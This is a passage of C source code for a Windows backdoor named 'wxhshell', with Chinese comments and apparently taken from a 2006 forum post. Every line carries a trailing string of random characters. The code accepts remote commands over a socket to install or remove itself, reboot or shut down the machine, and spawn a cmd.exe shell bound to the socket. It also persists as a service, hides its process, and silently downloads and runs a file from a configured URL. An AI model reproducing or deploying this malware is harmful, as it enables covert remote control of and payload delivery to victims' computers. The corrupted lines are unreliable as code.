      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 8Dvazg}4  
    break; ]D,MiDph  
  } ]^6c8sgnR  
  // 安装 (!:cen~|[  
  case 'i': { \%p34K\  
    if(Install()) H OBP`lf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t+Op@*#%  
    else ;*,f<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zk[&IBE_  
    break; \cCV6A[  
    } R<V!%rL;;  
  // 卸载 GLGz 2 ,#  
  case 'r': { cm[c ze+*  
    if(Uninstall()) M'!U<Y -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u!:z.RH8n  
    else WQHd[2Z#e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :\=CRaA  
    break; It75R}B   
    } oP4GEr  
  // 显示 wxhshell 所在路径 1nu^F,M  
  case 'p': { B^^r\L9  
    char svExeFile[MAX_PATH]; mLL340c#\  
    strcpy(svExeFile,"\n\r"); Dwl3 Cj  
      strcat(svExeFile,ExeFile); K).n.:vYZ  
        send(wsh,svExeFile,strlen(svExeFile),0); ]Ta N{"  
    break; _ A 0w[n  
    } )>c>oMgl  
  // 重启  kQ   
  case 'b': { 6eokCc"o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }=!,o  
    if(Boot(REBOOT)) #h@J=Ki  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q#EP|  
    else { _wdG|{px  
    closesocket(wsh); -Qn=|2Mm?  
    ExitThread(0); B*gdgM*`  
    } p7H3J?`w1+  
    break; Lq>&d,F06)  
    } t5lO'Ll*Q]  
  // 关机 CwX Z  
  case 'd': { >YUoh-]`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); > 0<)=  
    if(Boot(SHUTDOWN)) PoIl>c1MS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \qUKP"dr  
    else { 0dh=fcb  
    closesocket(wsh); ZR\VCVH\^  
    ExitThread(0); o:6@ Kw^  
    } vp(;W,ba:|  
    break; 0 &GRPu27  
    } &)oOeRwi].  
  // 获取shell +S))3 5N[  
  case 's': { #Eb5:;  
    CmdShell(wsh); ",)Qc!^P$  
    closesocket(wsh); t5[[JD1V  
    ExitThread(0); :eZh'-c?  
    break; ` }3qhar  
  } }(<%`G6N  
  // 退出 t^ZV|s 1  
  case 'x': { *SO{\bu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); BYKoel  
    CloseIt(wsh); SwU\ q]^|Z  
    break; iZZ (4  
    } qp}Ma8+  
  // 离开 \a+(=s(;  
  case 'q': { ?<* -j4v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); {-A^g!jT&  
    closesocket(wsh); cT\I[9! )  
    WSACleanup(); eh[_~>w  
    exit(1); oBUxKisW  
    break; V)P&Zw  
        } .%zy`n  
  } F,5r9^,_  
  } 6DZ),F,M  
d(:3   
  // 提示信息 iVfgDo  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W>b(Om_%  
} ^;c16  
  } +w8R!jdA  
*H[Iq!@  
  return; 6{qIU}!  
} *6 U&Qy-M  
.ZMW>U>  
// shell模块句柄 8UkKU_Uso  
int CmdShell(SOCKET sock) L>Mpi$L  
{ '$ef+@y  
STARTUPINFO si; \Ofw8=N-2  
ZeroMemory(&si,sizeof(si)); 1&:@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; f+.T^es  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?RzDQy D  
PROCESS_INFORMATION ProcessInfo; kbPE "urR  
char cmdline[]="cmd"; @t1V o}c  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4'p=p#o  
  return 0; 1oKfy>ie  
} yFhB>i  
_73h<|0  
// 自身启动模式 V3mAvmx  
int StartFromService(void) MCh#="L2  
{ *4|Hqa  
typedef struct xmGk*W)P  
{ 71C42=AU  
  DWORD ExitStatus; Z2"? &pKV  
  DWORD PebBaseAddress; ~L7:2weV[  
  DWORD AffinityMask; Npn=cLC&  
  DWORD BasePriority; S-+M;@'Rl  
  ULONG UniqueProcessId; 8e0."o.6  
  ULONG InheritedFromUniqueProcessId; V,EF'-F  
}   PROCESS_BASIC_INFORMATION; oVCmI"'  
Lhh;2r/?78  
PROCNTQSIP NtQueryInformationProcess; n-QJ;37\  
O3V.^_k;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  BGzI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; r.0oxH']  
%i)B*9k  
  HANDLE             hProcess; YxJD_R  
  PROCESS_BASIC_INFORMATION pbi; c<+;4z  
7+w'Y<mJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nU`Lhh8y  
  if(NULL == hInst ) return 0; djT5 X  
u&QKwD Uh  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (Y(E%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NN 0Q`r,8}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;1DdjETr  
)R{UXk3q}  
  if (!NtQueryInformationProcess) return 0; .]Mn^2#j  
VSOz.g>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0"[`>K~7a8  
  if(!hProcess) return 0; !p 8psi0  
O_K_f+7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `#IcxweA  
> 7`&0?  
  CloseHandle(hProcess); u@%|k c`  
N<z`yV  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); +?`b=6e(`  
if(hProcess==NULL) return 0; [6(Iwz?  
IPA*-I57  
HMODULE hMod; 3]E(mRX  
char procName[255]; fMK#x\.4  
unsigned long cbNeeded; nv5u%B^  
MmU%%2QG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); k4KHS<n0  
Zzd/K^gg  
  CloseHandle(hProcess); dYOF2si~%  
.6T6 S v  
if(strstr(procName,"services")) return 1; // 以服务启动 >HkhAJhW  
qJ[@:&:  
  return 0; // 注册表启动  YRB%:D@u  
} #w3ru6*W  
rcbP$t vz  
// 主模块 0kCQ0xB[a5  
int StartWxhshell(LPSTR lpCmdLine) JE%A|R<Jl  
{ W7G9Kx1Y  
  SOCKET wsl; iH)Nk^   
BOOL val=TRUE; M/jb}*xDR  
  int port=0; @eQld\h'  
  struct sockaddr_in door; M$CVQ>op:  
%]Cjhs"v  
  if(wscfg.ws_autoins) Install(); ^GXEJU 7U  
6 `puTL?  
port=atoi(lpCmdLine); StQ@g  
~oi_r8 K  
if(port<=0) port=wscfg.ws_port; 4'At.<]jL  
{},;-%xE  
  WSADATA data; g_D-(J`IK,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; kP,7Li\  
q6[}ydV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XNmQ?`.2'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); %RFYm  
  door.sin_family = AF_INET; $N.`)S<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); [n:PNB  
  door.sin_port = htons(port); QN 0rE @a  
R# 6H'TVE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { anx&Xj|=.F  
closesocket(wsl); o`U|`4,  
return 1; Lpm?# g uR  
} tyXl}$)y  
+sn2Lw!^  
  if(listen(wsl,2) == INVALID_SOCKET) { !`C?nY  
closesocket(wsl); ze"~Ird  
return 1; y\_wWE  
} |a(Q4 e/,  
  Wxhshell(wsl); #uWE2*')  
  WSACleanup(); .;%q/hP  
@W [{2d  
return 0; a2 >[0_E  
B "n`|;r5  
} *SGlqR['\e  
X<K9L7/*  
// 以NT服务方式启动 #J~Xv:LgD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j1Fw U  
{ V* Qe5j9  
DWORD   status = 0; {jG.=}/Dk  
  DWORD   specificError = 0xfffffff; T:n< db,Px  
Gy^FrF   
  serviceStatus.dwServiceType     = SERVICE_WIN32; f#mx:Q.7I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KZ4zF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CSH`pU  
  serviceStatus.dwWin32ExitCode     = 0; . z].:$J&  
  serviceStatus.dwServiceSpecificExitCode = 0; 5l&jPk!=  
  serviceStatus.dwCheckPoint       = 0; B<C&ay  
  serviceStatus.dwWaitHint       = 0; THr8o V5  
8vO;IK]9b^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Q(blW  
  if (hServiceStatusHandle==0) return; Lv3XYZgW~  
<hMtE/05B  
status = GetLastError(); 59K}  
  if (status!=NO_ERROR) :r^klJ(m  
{ yYBNH1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l-MxLcz  
    serviceStatus.dwCheckPoint       = 0; D8EeZUqU  
    serviceStatus.dwWaitHint       = 0; Y@ObwKcG  
    serviceStatus.dwWin32ExitCode     = status; RCQAtBd  
    serviceStatus.dwServiceSpecificExitCode = specificError; !4pr{S  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kLq( !Gs  
    return; h$|3dz N  
  } U~CdU  
L2d:.&5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Wge ho  
  serviceStatus.dwCheckPoint       = 0; htV#5SUx&  
  serviceStatus.dwWaitHint       = 0; {&0mK"z_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PE|PwqX  
} 5^b i 7J  
"I@v&(Am;  
// 处理NT服务事件,比如:启动、停止 OWZS3Y+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) au,jAk  
{ xM%`K P.8X  
switch(fdwControl) ?Q;kZmQl  
{ 8.[&wy U  
case SERVICE_CONTROL_STOP: !e&rVoA  
  serviceStatus.dwWin32ExitCode = 0; ):^ '/e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hEWx.  
  serviceStatus.dwCheckPoint   = 0; |.Em_*VG  
  serviceStatus.dwWaitHint     = 0; :Jjw"}SfK#  
  { RZW$!tyI=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3IGCl w(  
  } {=s:P|ah  
  return; IKGTsA;  
case SERVICE_CONTROL_PAUSE: QH4k!^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {>wI8  
  break; UlnyTz~  
case SERVICE_CONTROL_CONTINUE: gxI&f  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -MDO Zz\  
  break; g})6V  
case SERVICE_CONTROL_INTERROGATE: pF|8OB%  
  break; |3S'8Oe CI  
}; $p jf#P8U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &S<? 07Z  
} xIM8  
T~s&)wD  
// 标准应用程序主函数 w~4 z@/^"p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vu_&~z7h  
{ $U~=.!_du  
8n;kK?  
// 获取操作系统版本 RV( w%g  
OsIsNt=GetOsVer(); /.7$`d  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TP~( r  
#!w:_T%  
  // 从命令行安装 y>@v>S  
  if(strpbrk(lpCmdLine,"iI")) Install(); h0T< :X   
|~z8<  
  // 下载执行文件 `oB'(  
if(wscfg.ws_downexe) { |VTWw<{LX  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GEhdk]<a7  
  WinExec(wscfg.ws_filenam,SW_HIDE); ^Yf3"D?&  
} ,D:iQDG^  
`kqT{fs  
if(!OsIsNt) { Y*`:M(  
// 如果时win9x,隐藏进程并且设置为注册表启动 8o!  
HideProc(); ;n3uV`\  
StartWxhshell(lpCmdLine); NdM}xh  
} 2dv|6p  
else imo'(j7  
  if(StartFromService()) "CIpo/ebL  
  // 以服务方式启动 oN.Mra]D  
  StartServiceCtrlDispatcher(DispatchTable); h{Oz*Bq  
else TvQWdX=  
  // 普通方式启动 {[l'S  
  StartWxhshell(lpCmdLine); # rh0r`  
_ pY   
return 0; {KW&wsI  
}
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只看该作者 1 发表于: 2006-10-10
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